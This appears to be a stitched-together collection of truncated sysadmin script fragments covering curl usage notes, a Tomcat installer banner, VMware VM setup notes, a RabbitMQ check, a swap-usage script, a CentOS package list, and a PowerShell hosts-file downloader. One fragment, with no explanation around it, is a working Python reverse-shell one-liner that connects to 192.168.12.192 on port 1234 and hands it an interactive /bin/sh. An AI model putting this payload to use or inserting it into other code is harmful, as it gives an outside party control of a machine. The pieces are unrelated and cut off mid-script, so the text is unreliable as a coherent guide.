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#参考资料

• http://bbs.et8.net/bbs/showthread.php?t=568472
• http://www.ruanyifeng.com/blog/2011/09/curl.html

###下载单个文件，默认将输出打印到标准输出中(STDOUT)中

curl http://www.centos.org

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#! /bin/sh
# ==================================================================
#  ______                           __     _____
# /_  __/___  ____ ___  _________ _/ /_   /__  /
#  / / / __ \/ __ `__ \/ ___/ __ `/ __/     / /
# / / / /_/ / / / / / / /__/ /_/ / /_      / /
#/_/  \____/_/ /_/ /_/\___/\__,_/\__/     /_/

# Multi-instance Apache Tomcat installation with a focus
# on best-practices as defined by Apache, SpringSource, and MuleSoft

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python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.12.192\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"

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## Download latest CentOS 7 x86_64 minimal iso image

## Good readings
# https://labs.vmware.com/vmtj/methodology-for-performance-analysis-of-vmware-vsphere-under-tier-1-applications
# https://labs.vmware.com/vmtj/virtualizing-latency-sensitive-applications-where-does-the-overhead-come-from

## Create typical CentOS VM 
# compatible with 'ESXi 6.0 and later'
# set 'Guest OS Family' to 'Linux' 
# set 'Guest OS Version' to 'CentOS 4/5/6/7 (64 bit)' 

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#!/usr/bin/env python
# coding:utf-8
import re
import sys
import logging
import requests
from bs4 import BeautifulSoup


def _log():

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#!/usr/bin/env python3
# Check connection to the RabbitMQ server
# Source: https://blog.sleeplessbeastie.eu/2017/07/10/how-to-check-connection-to-the-rabbitmq-message-broker/ 

# import parser for command-line options
import argparse
# import a pure-Python implementation of the AMQP 0-9-1 
import pika

# define and parse command-line options

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#!/bin/bash
# Find out current screen width and hight
_COLUMNS=$(tput cols)
# Set default message if ( input not provided
_MESSAGE=" FBI Warining "
# Calculate x and y coordinates so that we can display $MESSAGE
# centered in the screen
y=$(( ( $_COLUMNS - ${#_MESSAGE} )  / 2 ))
spaces=$(printf "%-${y}s" " ")
# Alright display message stored in $_MESSAGE

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ModemManager-glib-1.1.0-6.git20130913.el7.x86_64
NetworkManager-0.9.9.1-13.git20140326.4dba720.el7.x86_64
NetworkManager-glib-0.9.9.1-13.git20140326.4dba720.el7.x86_64
NetworkManager-tui-0.9.9.1-13.git20140326.4dba720.el7.x86_64
acl-2.2.51-12.el7.x86_64
aic94xx-firmware-30-6.el7.noarch
alsa-firmware-1.0.27-2.el7.noarch
alsa-lib-1.0.27.2-3.el7.x86_64
alsa-tools-firmware-1.0.27-4.el7.x86_64
audit-2.3.3-4.el7.x86_64

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#!/bin/bash
# Get current swap usage for all running processes
# Erik Ljungstrom 27/05/2011
SUM=0
OVERALL=0
for DIR in `find /proc/ -maxdepth 1 -type d | egrep "^/proc/[0-9]"` ; do
        PID=`echo $DIR | cut -d / -f 3`
        PROGNAME=`ps -p $PID -o comm --no-headers`
        for SWAP in `grep Swap $DIR/smaps 2>/dev/null| awk '{ print $2 }'`
        do

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$url = "https://raw.githubusercontent.com/racaljk/hosts/master/hosts" 
$path = "%SystemRoot%\System32\drivers\etc\hosts" 
# param([string]$url, [string]$path) 
      
if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
      $path = Join-Path $pwd (Split-Path -leaf $path) 
} 
      
"Downloading [$url]`nSaving at [$path]" 
$client = new-object System.Net.WebClient